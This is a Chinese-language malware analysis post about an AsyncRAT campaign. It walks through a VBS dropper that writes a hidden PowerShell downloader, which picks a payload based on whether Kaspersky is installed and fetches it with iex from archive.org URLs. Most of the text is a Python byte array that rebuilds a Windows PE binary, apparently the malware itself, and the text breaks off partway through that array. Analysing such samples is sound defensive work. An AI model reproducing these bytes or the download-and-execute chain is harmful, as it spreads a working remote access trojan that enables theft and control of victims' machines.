概述
AsyncRAT是一款使用C Sharp开发的远程访问控制工具(RAT),可通过安全加密连接来监视和控制其他计算机。AsyncRAT的github库虽然已经八个月没更新,但是笔者最近看到了不少AsyncRAT标签的相关样本,于是下载样本回来分析了下,发现配方还是原来的配方,但是在加载AsyncRAT之前,还有一些新花招。
样本分析
笔者看到的原始样本为VBS文件,样本md5为:f9e8a25600c4bc01018c470bf41324ea
原始代码如下:
原始vbs代码很简单,首先是尝试在C:\Useers\Public\路径下创建Opera.ps1文件并写入硬编码在脚本中的数据
写入的ps1为一个Downloader,该文件会根据当前主机是否存在C:\ProgramData\Kaspersky Lab\AVP21.2\Data\avz_config.xms路径而下载不同的文件,如果存在此路径说明当前设备上安装了卡巴斯基杀软,则程序下载并执行hxxps://ia601505.us.archive.org/27/items/1_20201229/1.txt的内容。否则加载hxxps://ia601402.us.archive.org/14/items/4_20201229/4.txt
接着回到原始的vbs文件,将Opear.ps1文件创建完成之后,程序还会尝试创建C:\Users\Public\Opera.vbs文件用于调用刚才的ps1文件
然后通过WScript.Shell对象以隐藏执行的方式启动ps1脚本
最后休眠4s之后启动vbs文件:
用户主机安装了Kaspersky的情况
若用户主机安装了卡巴斯基杀软,powershell脚本则会尝试通过免费第三方站点下载hxxps://ia601505.us.archive.org/27/items/1_20201229/1.txt并通过iex执行。
由最开始的[Byte[]]$Cli555=(77,90,144 可以得知该地址对应的1.txt实际上是一个PE文件,77 90 144 转换为16进制刚好是4D 5A 90
使用一个简单的python脚本即可将这个文件转换为pe文件:
if __name__ == '__main__':
mybyte = [77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0,80,69,0,0,76,1,3,0,35,144,183,94,0,0,0,0,0,0,0,0,224,0,2,1,11,1,8,0,0,168,0,0,0,10,0,0,0,0,0,0,62,199,0,0,0,32,0,0,0,224,0,0,0,0,64,0,0,32,0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,32,1,0,0,2,0,0,0,0,0,0,2,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,236,198,0,0,79,0,0,0,0,224,0,0,255,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,8,0,0,0,0,0,0,0,0,0,0,0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0,46,116,101,120,116,0,0,0,68,167,0,0,0,32,0,0,0,168,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,96,46,114,115,114,99,0,0,0,255,7,0,0,0,224,0,0,0,8,0,0,0,170,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,0,1,0,0,2,0,0,0,178,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,199,0,0,0,0,0,0,72,0,0,0,2,0,5,0,252,89,0,0,240,108,0,0,3,0,0,0,1,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,191,235,30,86,251,205,151,59,178,25,2,36,48,165,120,67,0,61,86,68,210,30,98,185,212,241,128,231,230,195,57,65,46,0,47,0,92,0,0,0,30,2,40,24,0,0,10,42,26,126,19,0,0,4,42,30,2,128,19,0,0,4,42,26,126,20,0,0,4,42,30,2,128,20,0,0,4,42,26,126,21,0,0,4,42,30,2,128,21,0,0,4,42,26,126,22,0,0,4,42,30,2,128,22,0,0,4,42,26,126,23,0,0,4,42,30,2,128,23,0,0,4,42,26,126,24,0,0,4,42,30,2,128,24,0,0,4,42,26,126,25,0,0,4,42,30,2,128,25,0,0,4,42,26,126,26,0,0,4,42,26,126,27,0,0,4,42,30,2,128,27,0,0,4,42,26,126,28,0,0,4,42,30,2,128,28,0,0,4,42,26,126,29,0,0,4,42,30,2,128,29,0,0,4,42,42,2,40,62,0,0,10,22,254,3,42,50,126,11,0,0,4,3,111,63,0,0,10,42,46,115,24,0,0,10,128,26,0,0,4,42,230,40,41,0,0,6,58,40,0,0,0,40,42,0,0,6,58,30,0,0,0,40,43,0,0,6,58,20,0,0,0,40,39,0,0,6,58,10,0,0,0,40,40,0,0,6,57,6,0,0,0,20,40,118,0,0,10,42,86,40,156,0,0,10,115,157,0,0,10,32,32,2,0,0,111,158,0,0,10,42,110,126,30,0,0,4,57,16,0,0,0,126,30,0,0,4,111,173,0,0,10,20,128,30,0,0,4,42,126,126,15,0,0,4,40,23,0,0,10,57,15,0,0,0,40,48,0,0,6,57,5,0,0,0,40,64,0,0,6,42,86,114,134,37,0,112,126,16,0,0,4,40,111,0,0,10,128,35,0,0,4,42,190,115,148,0,0,6,37,114,58,33,0,112,111,127,0,0,6,114,50,38,0,112,111,140,0,0,6,111,137,0,0,6,40,32,0,0,6,32,232,3,0,0,40,20,0,0,10,42,218,115,148,0,0,6,37,114,58,33,0,112,111,127,0,0,6,114,68,38,0,112,111,140,0,0,6,37,114,68,38,0,112,111,127,0,0,6,2,111,140,0,0,6,111,137,0,0,6,40,32,0,0,6,42,46,115,201,0,0,10,128,36,0,0,4,42,94,2,40,25,0,0,10,3,111,31,0,0,10,40,77,0,0,6,40,206,0,0,10,42,94,40,25,0,0,10,2,3,40,26,0,0,10,40,79,0,0,6,111,27,0,0,10,42,98,31,32,141,68,0,0,1,37,208,45,0,0,4,40,228,0,0,10,128,44,0,0,4,42,50,126,46,0,0,4,2,111,31,0,0,10,42,50,126,46,0,0,4,2,111,27,0,0,10,42,50,2,40,231,0,0,10,40,88,0,0,6,42,142,26,141,68,0,0,1,37,25,2,210,156,37,24,2,30,99,210,156,37,23,2,31,16,99,210,156,37,22,2,31,24,99,210,156,42,78,24,141,68,0,0,1,37,23,2,210,156,37,22,2,30,99,210,156,42,50,2,40,232,0,0,10,40,88,0,0,6,42,46,115,233,0,0,10,128,46,0,0,4,42,86,2,21,125,48,0,0,4,2,40,24,0,0,10,2,3,125,47,0,0,4,42,74,2,123,47,0,0,4,2,123,48,0,0,4,111,234,0,0,10,42,138,2,2,123,48,0,0,4,23,88,125,48,0,0,4,2,123,48,0,0,4,2,123,47,0,0,4,111,235,0,0,10,254,4,42,34,2,21,125,48,0,0,4,42,86,2,40,24,0,0,10,2,3,125,50,0,0,4,2,4,125,49,0,0,4,42,50,2,123,50,0,0,4,111,113,0,0,6,42,78,2,123,50,0,0,4,111,113,0,0,6,37,3,111,140,0,0,6,42,78,2,123,50,0,0,4,111,113,0,0,6,37,3,111,116,0,0,6,42,78,2,123,50,0,0,4,111,113,0,0,6,37,3,111,133,0,0,6,42,54,2,123,49,0,0,4,3,111,234,0,0,10,42,50,2,123,49,0,0,4,111,235,0,0,10,42,102,2,3,125,51,0,0,4,2,2,123,51,0,0,4,111,125,0,0,10,125,52,0,0,4,42,130,2,123,54,0,0,4,24,59,13,0,0,0,2,40,107,0,0,6,2,24,125,54,0,0,4,2,40,108,0,0,6,42,130,2,123,54,0,0,4,25,59,13,0,0,0,2,40,107,0,0,6,2,25,125,54,0,0,4,2,40,108,0,0,6,42,30,2,40,112,0,0,6,42,82,2,3,140,104,0,0,1,125,53,0,0,4,2,27,125,54,0,0,4,42,82,2,3,140,149,0,0,1,125,53,0,0,4,2,28,125,54,0,0,4,42,66,2,3,125,53,0,0,4,2,31,11,125,54,0,0,4,42,82,2,40,112,0,0,6,37,3,125,51,0,0,4,4,111,129,0,0,6,42,86,2,40,112,0,0,6,37,3,125,51,0,0,4,4,106,111,116,0,0,6,42,86,2,40,107,0,0,6,2,20,125,53,0,0,4,2,23,125,54,0,0,4,42,62,2,3,125,53,0,0,4,2,26,125,54,0,0,4,42,118,2,123,53,0,0,4,58,6,0,0,0,114,23,3,0,112,42,2,123,53,0,0,4,111,56,0,0,10,42,82,2,29,125,54,0,0,4,2,3,140,108,0,0,1,125,53,0,0,4,42,86,2,31,9,125,54,0,0,4,2,3,140,151,0,0,1,125,53,0,0,4,42,82,2,30,125,54,0,0,4,2,3,140,150,0,0,1,125,53,0,0,4,42,30,2,40,130,0,0,6,42,34,2,3,40,129,0,0,6,42,30,2,40,119,0,0,6,42,34,2,3,40,116,0,0,6,42,30,2,40,120,0,0,6,42,34,2,3,40,133,0,0,6,42,30,2,123,54,0,0,4,42,50,2,123,56,0,0,4,115,95,0,0,6,42,74,2,115,201,0,0,10,125,56,0,0,4,2,40,24,0,0,10,42,58,2,111,0,1,0,10,210,2,40,151,0,0,6,42,50,2,32,192,0,0,0,111,238,0,0,10,42,106,2,32,203,0,0,0,111,238,0,0,10,2,3,40,92,0,0,6,22,30,111,76,0,0,10,42,126,2,32,202,0,0,0,111,238,0,0,10,2,3,40,253,0,0,10,40,88,0,0,6,22,26,111,76,0,0,10,42,122,3,57,12,0,0,0,2,32,195,0,0,0,111,238,0,0,10,42,2,32,194,0,0,0,111,238,0,0,10,42,0,0,0,27,48,2,0,197,0,0,0,1,0,0,17,22,10,56,14,0,0,0,32,232,3,0,0,40,20,0,0,10,6,23,88,10,6,126,17,0,0,4,40,21,0,0,10,50,229,40,3,0,0,6,58,6,0,0,0,22,40,22,0,0,10,0,40,54,0,0,6,58,6,0,0,0,22,40,22,0,0,10,126,12,0,0,4,40,23,0,0,10,57,5,0,0,0,40,38,0,0,6,126,4,0,0,4,40,23,0,0,10,57,5,0,0,0,40,36,0,0,6,126,15,0,0,4,40,23,0,0,10,57,15,0,0,0,40,48,0,0,6,57,5,0,0,0,40,63,0,0,6,40,52,0,0,6,221,6,0,0,0,38,221,0,0,0,0,0,40,18,0,0,6,58,10,0,0,0,40,30,0,0,6,40,27,0,0,6,221,6,0,0,0,38,221,0,0,0,0,32,136,19,0,0,40,20,0,0,10,43,212,0,0,0,1,28,0,0,0,0,51,0,96,147,0,6,1,0,0,1,0,0,154,0,25,179,0,6,1,0,0,1,27,48,2,0,45,1,0,0,2,0,0,17,40,25,0,0,10,126,7,0,0,4,40,26,0,0,10,111,27,0,0,10,128,7,0,0,4,126,7,0,0,4,115,75,0,0,6,128,13,0,0,4,126,13,0,0,4,126,1,0,0,4,111,78,0,0,6,128,1,0,0,4,126,13,0,0,4,126,2,0,0,4,111,78,0,0,6,128,2,0,0,4,126,13,0,0,4,126,3,0,0,4,111,78,0,0,6,128,3,0,0,4,126,13,0,0,4,126,4,0,0,4,111,78,0,0,6,128,4,0,0,4,126,13,0,0,4,126,8,0,0,4,111,78,0,0,6,128,8,0,0,4,126,13,0,0,4,126,14,0,0,4,111,78,0,0,6,128,14,0,0,4,126,13,0,0,4,126,12,0,0,4,111,78,0,0,6,128,12,0,0,4,126,13,0,0,4,126,15,0,0,4,111,78,0,0,6,128,15,0,0,4,126,13,0,0,4,126,18,0,0,4,111,78,0,0,6,128,18,0,0,4,40,45,0,0,6,128,16,0,0,4,126,13,0,0,4,126,10,0,0,4,111,78,0,0,6,128,10,0,0,4,126,13,0,0,4,126,9,0,0,4,111,78,0,0,6,40,26,0,0,10,115,28,0,0,10,128,11,0,0,4,40,4,0,0,6,10,221,8,0,0,0,38,22,10,221,0,0,0,0,6,42,0,0,0,65,28,0,0,0,0,0,0,0,0,0,0,35,1,0,0,35,1,0,0,8,0,0,0,1,0,0,1,27,48,4,0,81,0,0,0,2,0,0,17,126,11,0,0,4,111,29,0,0,10,111,30,0,0,10,116,47,0,0,1,40,25,0,0,10,126,7,0,0,4,111,31,0,0,10,40,83,0,0,6,114,1,0,0,112,40,32,0,0,10,126,10,0,0,4,40,26,0,0,10,111,33,0,0,10,10,221,8,0,0,0,38,22,10,221,0,0,0,0,6,42,0,0,0,1,16,0,0,0,0,0,0,71,71,0,8,49,0,0,1,19,48,1,0,157,0,0,0,0,0,0,0,114,15,0,0,112,128,1,0,0,4,114,194,0,0,112,128,2,0,0,4,114,157,1,0,112,128,3,0,0,4,114,80,2,0,112,128,4,0,0,4,114,3,3,0,112,128,5,0,0,4,114,23,3,0,112,128,6,0,0,4,114,25,3,0,112,128,7,0,0,4,114,115,3,0,112,128,8,0,0,4,114,78,4,0,112,128,9,0,0,4,114,169,22,0,112,128,10,0,0,4,114,92,30,0,112,128,12,0,0,4,114,15,31,0,112,128,14,0,0,4,114,194,31,0,112,128,15,0,0,4,20,128,16,0,0,4,114,117,32,0,112,128,17,0,0,4,114,121,32,0,112,128,18,0,0,4,42,0,0,0,27,48,7,0,241,2,0,0,3,0,0,17,24,23,28,115,34,0,0,10,37,32,0,200,0,0,111,35,0,0,10,37,32,0,200,0,0,111,36,0,0,10,40,7,0,0,6,126,14,0,0,4,114,44,33,0,112,40,37,0,0,10,57,227,0,0,0,126,2,0,0,4,23,141,57,0,0,1,37,22,31,44,157,111,38,0,0,10,115,39,0,0,10,126,2,0,0,4,23,141,57,0,0,1,37,22,31,44,157,111,38,0,0,10,142,105,111,40,0,0,10,154,10,126,1,0,0,4,23,141,57,0,0,1,37,22,31,44,157,111,38,0,0,10,115,39,0,0,10,126,1,0,0,4,23,141,57,0,0,1,37,22,31,44,157,111,38,0,0,10,142,105,111,40,0,0,10,154,40,21,0,0,10,11,6,40,28,0,0,6,57,82,0,0,0,6,40,41,0,0,10,12,22,13,56,57,0,0,0,8,9,163,50,0,0,1,19,4,40,6,0,0,6,17,4,7,111,42,0,0,10,40,6,0,0,6,111,43,0,0,10,57,5,0,0,0,221,195,0,0,0,221,6,0,0,0,38,221,0,0,0,0,9,23,88,13,9,8,142,105,50,193,56,169,0,0,0,40,6,0,0,6,6,7,111,44,0,0,10,56,152,0,0,0,115,45,0,0,10,19,5,114,23,3,0,112,114,23,3,0,112,115,46,0,0,10,19,6,17,5,17,6,111,47,0,0,10,17,5,126,14,0,0,4,111,48,0,0,10,23,141,56,0,0,1,37,22,114,54,33,0,112,162,22,111,49,0,0,10,19,7,17,7,22,163,56,0,0,1,128,2,0,0,4,17,7,115,39,0,0,10,23,17,7,142,105,111,50,0,0,10,163,56,0,0,1,128,1,0,0,4,40,6,0,0,6,126,2,0,0,4,126,1,0,0,4,40,21,0,0,10,111,44,0,0,10,221,15,0,0,0,17,5,57,7,0,0,0,17,5,111,51,0,0,10,220,40,6,0,0,6,111,43,0,0,10,57,24,1,0,0,23,40,19,0,0,6,40,6,0,0,6,23,115,52,0,0,10,22,20,254,6,29,0,0,6,115,53,0,0,10,115,54,0,0,10,40,9,0,0,6,40,8,0,0,6,40,6,0,0,6,111,55,0,0,10,111,56,0,0,10,23,141,57,0,0,1,37,22,31,58,157,111,38,0,0,10,22,163,56,0,0,1,20,32,192,0,0,0,22,111,57,0,0,10,26,106,40,13,0,0,6,40,12,0,0,6,212,141,68,0,0,1,40,11,0,0,6,22,106,40,15,0,0,6,40,47,0,0,6,40,32,0,0,6,22,40,24,0,0,6,22,40,26,0,0,6,20,254,6,33,0,0,6,115,58,0,0,10,20,115,39,0,0,10,32,16,39,0,0,32,152,58,0,0,111,50,0,0,10,115,39,0,0,10,32,16,39,0,0,32,152,58,0,0,111,50,0,0,10,115,59,0,0,10,40,17,0,0,6,20,254,6,34,0,0,6,115,58,0,0,10,20,23,23,115,59,0,0,10,40,22,0,0,6,40,8,0,0,6,40,10,0,0,6,40,14,0,0,6,105,40,12,0,0,6,105,20,254,6,31,0,0,6,115,60,0,0,10,20,111,61,0,0,10,38,56,6,0,0,0,22,40,19,0,0,6,221,12,0,0,0,38,22,40,19,0,0,6,221,0,0,0,0,42,0,0,0,65,76,0,0,0,0,0,0,206,0,0,0,38,0,0,0,244,0,0,0,6,0,0,0,1,0,0,1,2,0,0,0,33,1,0,0,130,0,0,0,163,1,0,0,15,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,228,2,0,0,228,2,0,0,12,0,0,0,1,0,0,1,27,48,2,0,106,0,0,0,0,0,0,0,40,8,0,0,6,37,58,6,0,0,0,38,56,5,0,0,0,40,64,0,0,10,40,6,0,0,6,37,58,6,0,0,0,38,56,5,0,0,0,40,65,0,0,10,40,21,0,0,6,37,58,6,0,0,0,38,56,5,0,0,0,40,66,0,0,10,40,16,0,0,6,37,58,6,0,0,0,38,56,5,0,0,0,40,66,0,0,10,221,6,0,0,0,38,221,0,0,0,0,22,40,19,0,0,6,42,0,0,1,16,0,0,0,0,0,0,93,93,0,6,1,0,0,1,27,48,6,0,186,1,0,0,4,0,0,17,40,6,0,0,6,111,43,0,0,10,57,10,0,0,0,40,18,0,0,6,58,11,0,0,0,22,40,19,0,0,6,221,149,1,0,0,40,8,0,0,6,2,111,67,0,0,10,10,6,22,62,107,1,0,0,40,14,0,0,6,6,106,88,40,15,0,0,6,40,12,0,0,6,6,106,89,40,13,0,0,6,40,12,0,0,6,58,2,1,0,0,40,10,0,0,6,22,40,68,0,0,10,106,40,13,0,0,6,40,12,0,0,6,22,106,62,194,0,0,0,22,106,40,15,0,0,6,40,12,0,0,6,212,141,68,0,0,1,40,11,0,0,6,56,95,0,0,0,40,8,0,0,6,40,10,0,0,6,40,14,0,0,6,105,40,12,0,0,6,105,111,69,0,0,10,11,7,22,61,11,0,0,0,22,40,19,0,0,6,221,247,0,0,0,40,14,0,0,6,7,106,88,40,15,0,0,6,40,12,0,0,6,7,106,89,40,13,0,0,6,40,12,0,0,6,22,106,60,11,0,0,0,22,40,19,0,0,6,221,198,0,0,0,40,12,0,0,6,22,106,48,152,20,254,6,70,0,0,6,115,70,0,0,10,115,71,0,0,10,40,10,0,0,6,111,72,0,0,10,22,106,40,15,0,0,6,26,106,40,13,0,0,6,40,12,0,0,6,212,141,68,0,0,1,40,11,0,0,6,56,58,0,0,0,26,106,40,13,0,0,6,40,12,0,0,6,212,141,68,0,0,1,40,11,0,0,6,22,106,40,15,0,0,6,56,23,0,0,0,40,12,0,0,6,22,106,60,11,0,0,0,22,40,19,0,0,6,221,69,0,0,0,40,8,0,0,6,40,10,0,0,6,40,14,0,0,6,105,40,12,0,0,6,105,20,254,6,31,0,0,6,115,60,0,0,10,20,111,61,0,0,10,38,56,6,0,0,0,22,40,19,0,0,6,221,12,0,0,0,38,22,40,19,0,0,6,221,0,0,0,0,42,0,0,65,28,0,0,0,0,0,0,0,0,0,0,173,1,0,0,173,1,0,0,12,0,0,0,1,0,0,1,27,48,4,0,4,1,0,0,5,0,0,17,40,20,0,0,6,10,22,11,6,18,1,40,73,0,0,10,40,18,0,0,6,58,5,0,0,0,221,228,0,0,0,2,142,105,40,74,0,0,10,12,40,6,0,0,6,21,23,111,75,0,0,10,38,40,8,0,0,6,8,22,8,142,105,111,76,0,0,10,2,142,105,32,64,66,15,0,62,110,0,0,0,2,115,77,0,0,10,13,22,19,4,9,22,106,111,78,0,0,10,32,80,195,0,0,141,68,0,0,1,19,5,56,38,0,0,0,40,6,0,0,6,21,23,111,75,0,0,10,38,40,8,0,0,6,17,5,22,17,4,111,76,0,0,10,40,8,0,0,6,111,79,0,0,10,9,17,5,22,17,5,142,105,111,69,0,0,10,37,19,4,22,48,199,221,51,0,0,0,9,57,6,0,0,0,9,111,51,0,0,10,220,40,6,0,0,6,21,23,111,75,0,0,10,38,40,8,0,0,6,2,22,2,142,105,111,76,0,0,10,40,8,0,0,6,111,79,0,0,10,221,25,0,0,0,38,22,40,19,0,0,6,221,13,0,0,0,7,57,6,0,0,0,6,40,80,0,0,10,220,42,1,40,0,0,2,0,88,0,90,178,0,13,0,0,0,0,0,0,16,0,218,234,0,12,1,0,0,1,2,0,8,0,238,246,0,13,0,0,0,0,27,48,3,0,80,0,0,0,0,0,0,0,115,148,0,0,6,37,114,58,33,0,112,111,127,0,0,6,114,72,33,0,112,111,140,0,0,6,37,114,82,33,0,112,111,127,0,0,6,40,53,0,0,6,111,140,0,0,6,111,137,0,0,6,40,32,0,0,6,40,81,0,0,10,23,40,26,0,0,6,221,6,0,0,0,38,221,0,0,0,0,42,1,16,0,0,0,0,0,0,73,73,0,6,1,0,0,1,27,48,2,0,44,0,0,0,0,0,0,0,40,25,0,0,6,57,22,0,0,0,40,18,0,0,6,57,12,0,0,0,40,23,0,0,6,23,88,40,24,0,0,6,221,6,0,0,0,38,221,0,0,0,0,42,1,16,0,0,0,0,0,0,37,37,0,6,1,0,0,1,27,48,5,0,118,2,0,0,6,0,0,17,126,5,0,0,4,40,82,0,0,10,126,6,0,0,4,40,83,0,0,10,115,84,0,0,10,10,40,85,0,0,10,111,86,0,0,10,111,87,0,0,10,11,7,6,111,88,0,0,10,40,89,0,0,10,57,47,2,0,0,40,90,0,0,10,12,22,13,56,59,0,0,0,8,9,163,80,0,0,1,19,4,17,4,111,86,0,0,10,111,87,0,0,10,6,111,88,0,0,10,40,37,0,0,10,57,7,0,0,0,17,4,111,91,0,0,10,221,6,0,0,0,38,221,0,0,0,0,9,23,88,13,9,8,142,105,50,191,40,48,0,0,6,57,113,0,0,0,115,92,0,0,10,19,5,17,5,114,98,33,0,112,111,93,0,0,10,17,5,27,141,56,0,0,1,37,22,114,106,33,0,112,162,37,23,6,111,94,0,0,10,40,95,0,0,10,162,37,24,114,212,33,0,112,162,37,25,6,111,88,0,0,10,162,37,26,114,230,33,0,112,162,40,96,0,0,10,111,97,0,0,10,17,5,23,111,98,0,0,10,17,5,23,111,99,0,0,10,17,5,40,100,0,0,10,38,56,82,0,0,0,126,101,0,0,10,114,250,33,0,112,40,102,0,0,10,24,111,103,0,0,10,19,6,17,6,6,111,94,0,0,10,40,95,0,0,10,114,88,34,0,112,6,111,88,0,0,10,114,88,34,0,112,40,104,0,0,10,111,105,0,0,10,221,15,0,0,0,17,6,57,7,0,0,0,17,6,111,51,0,0,10,220,6,111,88,0,0,10,40,106,0,0,10,57,21,0,0,0,6,111,88,0,0,10,40,107,0,0,10,32,232,3,0,0,40,20,0,0,10,6,111,88,0,0,10,23,115,108,0,0,10,7,40,109,0,0,10,19,7,17,7,22,17,7,142,105,111,76,0,0,10,40,49,0,0,6,40,110,0,0,10,114,92,34,0,112,40,111,0,0,10,19,8,17,8,115,112,0,0,10,19,9,17,9,114,102,34,0,112,111,113,0,0,10,17,9,114,122,34,0,112,111,113,0,0,10,17,9,114,154,34,0,112,6,111,88,0,0,10,114,88,34,0,112,40,104,0,0,10,111,113,0,0,10,17,9,114,176,34,0,112,40,114,0,0,10,40,111,0,0,10,111,113,0,0,10,17,9,114,184,34,0,112,17,8,40,115,0,0,10,114,196,34,0,112,40,104,0,0,10,111,113,0,0,10,221,15,0,0,0,17,9,57,7,0,0,0,17,9,111,51,0,0,10,220,115,92,0,0,10,37,17,8,111,93,0,0,10,37,23,111,99,0,0,10,37,22,111,116,0,0,10,37,22,111,117,0,0,10,37,23,111,98,0,0,10,40,100,0,0,10,38,22,40,22,0,0,10,221,6,0,0,0,38,221,0,0,0,0,42,0,0,65,100,0,0,0,0,0,0,81,0,0,0,40,0,0,0,121,0,0,0,6,0,0,0,1,0,0,1,2,0,0,0,27,1,0,0,44,0,0,0,71,1,0,0,15,0,0,0,0,0,0,0,2,0,0,0,186,1,0,0,108,0,0,0,38,2,0,0,15,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,111,2,0,0,111,2,0,0,6,0,0,0,49,0,0,1,27,48,2,0,58,0,0,0,7,0,0,17,33,0,34,226,51,14,0,0,0,10,40,119,0,0,10,40,120,0,0,10,115,121,0,0,10,40,122,0,0,10,6,61,7,0,0,0,23,11,221,13,0,0,0,221,6,0,0,0,38,221,0,0,0,0,22,42,7,42,0,0,1,16,0,0,0,0,0,0,48,48,0,6,1,0,0,1,27,48,2,0,52,0,0,0,2,0,0,17,115,123,0,0,10,40,124,0,0,10,111,125,0,0,10,114,212,34,0,112,111,126,0,0,10,57,7,0,0,0,23,10,221,13,0,0,0,221,6,0,0,0,38,221,0,0,0,0,22,42,6,42,1,16,0,0,0,0,0,0,42,42,0,6,1,0,0,1,27,48,2,0,250,0,0,0,8,0,0,17,114,218,34,0,112,115,127,0,0,10,10,6,111,128,0,0,10,11,7,111,129,0,0,10,12,56,139,0,0,0,8,111,130,0,0,10,13,9,114,32,35,0,112,111,131,0,0,10,111,56,0,0,10,111,125,0,0,10,19,4,17,4,114,58,35,0,112,40,37,0,0,10,57,36,0,0,0,9,114,102,35,0,112,111,131,0,0,10,111,56,0,0,10,111,132,0,0,10,114,114,35,0,112,111,126,0,0,10,58,48,0,0,0,17,4,114,130,35,0,112,111,126,0,0,10,58,31,0,0,0,9,114,102,35,0,112,111,131,0,0,10,111,56,0,0,10,114,144,35,0,112,40,37,0,0,10,57,8,0,0,0,23,19,5,221,78,0,0,0,8,111,133,0,0,10,58,106,255,255,255,221,13,0,0,0,8,57,6,0,0,0,8,111,51,0,0,10,220,221,13,0,0,0,7,57,6,0,0,0,7,111,51,0,0,10,220,221,13,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,221,6,0,0,0,38,221,0,0,0,0,22,42,17,5,42,0,0,1,52,0,0,2,0,25,0,160,185,0,13,0,0,0,0,2,0,18,0,185,203,0,13,0,0,0,0,2,0,11,0,210,221,0,13,0,0,0,0,0,0,0,0,239,239,0,6,1,0,0,1,27,48,2,0,37,0,0,0,9,0,0,17,22,10,40,85,0,0,10,111,134,0,0,10,18,0,40,59,0,0,6,38,6,11,221,8,0,0,0,38,6,11,221,0,0,0,0,7,42,0,0,0,1,16,0,0,0,0,2,0,25,27,0,8,1,0,0,1,27,48,1,0,47,0,0,0,10,0,0,17,114,166,35,0,112,40,58,0,0,6,10,18,0,40,135,0,0,10,57,7,0,0,0,23,11,221,15,0,0,0,22,11,221,8,0,0,0,38,22,11,221,0,0,0,0,7,42,0,1,16,0,0,0,0,0,0,37,37,0,8,1,0,0,1,27,48,4,0,101,0,0,0,11,0,0,17,27,141,1,0,0,1,37,22,40,136,0,0,10,140,102,0,0,1,162,37,23,40,137,0,0,10,162,37,24,40,138,0,0,10,162,37,25,40,139,0,0,10,162,37,26,40,119,0,0,10,40,120,0,0,10,115,121,0,0,10,40,122,0,0,10,140,104,0,0,1,162,40,140,0,0,10,40,46,0,0,6,10,221,12,0,0,0,38,114,190,35,0,112,10,221,0,0,0,0,6,42,0,0,0,1,16,0,0,0,0,0,0,87,87,0,12,1,0,0,1,19,48,3,0,93,0,0,0,12,0,0,17,115,141,0,0,10,40,142,0,0,10,2,111,31,0,0,10,10,6,111,143,0,0,10,10,115,144,0,0,10,11,6,12,22,13,56,28,0,0,0,8,9,145,19,4,7,18,4,114,208,35,0,112,40,145,0,0,10,111,146,0,0,10,38,9,23,88,13,9,8,142,105,50,222,7,111,56,0,0,10,22,31,20,111,147,0,0,10,111,148,0,0,10,42,0,0,0,19,48,7,0,176,1,0,0,13,0,0,17,115,148,0,0,6,37,114,58,33,0,112,111,127,0,0,6,114,214,35,0,112,111,140,0,0,6,37,114,236,35,0,112,111,127,0,0,6,126,16,0,0,4,111,140,0,0,6,37,114,246,35,0,112,111,127,0,0,6,40,137,0,0,10,111,56,0,0,10,111,140,0,0,6,37,114,0,36,0,112,111,127,0,0,6,115,123,0,0,10,40,124,0,0,10,111,56,0,0,10,114,6,36,0,112,20,111,149,0,0,10,114,26,36,0,112,40,150,0,0,10,10,18,0,40,151,0,0,10,114,30,36,0,112,114,40,36,0,112,111,149,0,0,10,114,52,36,0,112,114,64,36,0,112,111,149,0,0,10,40,104,0,0,10,111,140,0,0,6,37,114,76,36,0,112,111,127,0,0,6,40,152,0,0,10,111,140,0,0,6,37,114,86,36,0,112,111,127,0,0,6,126,3,0,0,4,111,140,0,0,6,37,114,102,36,0,112,111,127,0,0,6,40,48,0,0,6,10,18,0,40,151,0,0,10,111,125,0,0,10,114,114,36,0,112,114,102,36,0,112,111,149,0,0,10,114,124,36,0,112,114,246,35,0,112,111,149,0,0,10,111,140,0,0,6,37,114,136,36,0,112,111,127,0,0,6,40,53,0,0,6,111,140,0,0,6,37,114,160,36,0,112,111,127,0,0,6,126,14,0,0,4,111,140,0,0,6,37,114,178,36,0,112,111,127,0,0,6,40,50,0,0,6,111,140,0,0,6,37,114,198,36,0,112,111,127,0,0,6,40,152,0,0,10,115,84,0,0,10,40,153,0,0,10,11,18,1,40,154,0,0,10,11,18,1,40,155,0,0,10,111,140,0,0,6,37,114,218,36,0,112,111,127,0,0,6,114,23,3,0,112,111,140,0,0,6,37,114,228,36,0,112,111,127,0,0,6,126,18,0,0,4,111,140,0,0,6,111,137,0,0,6,42,27,48,2,0,91,0,0,0,0,0,0,0,126,15,0,0,4,40,23,0,0,10,57,15,0,0,0,40,48,0,0,6,57,5,0,0,0,40,64,0,0,6,40,55,0,0,6,40,8,0,0,6,37,58,6,0,0,0,38,56,5,0,0,0,111,159,0,0,10,40,6,0,0,6,37,58,6,0,0,0,38,56,5,0,0,0,40,160,0,0,10,221,6,0,0,0,38,221,0,0,0,0,42,0,1,16,0,0,0,0,0,0,84,84,0,6,1,0,0,1,27,48,3,0,184,0,0,0,14,0,0,17,114,240,36,0,112,40,138,0,0,10,114,246,36,0,112,40,104,0,0,10,114,34,37,0,112,115,161,0,0,10,10,115,162,0,0,10,11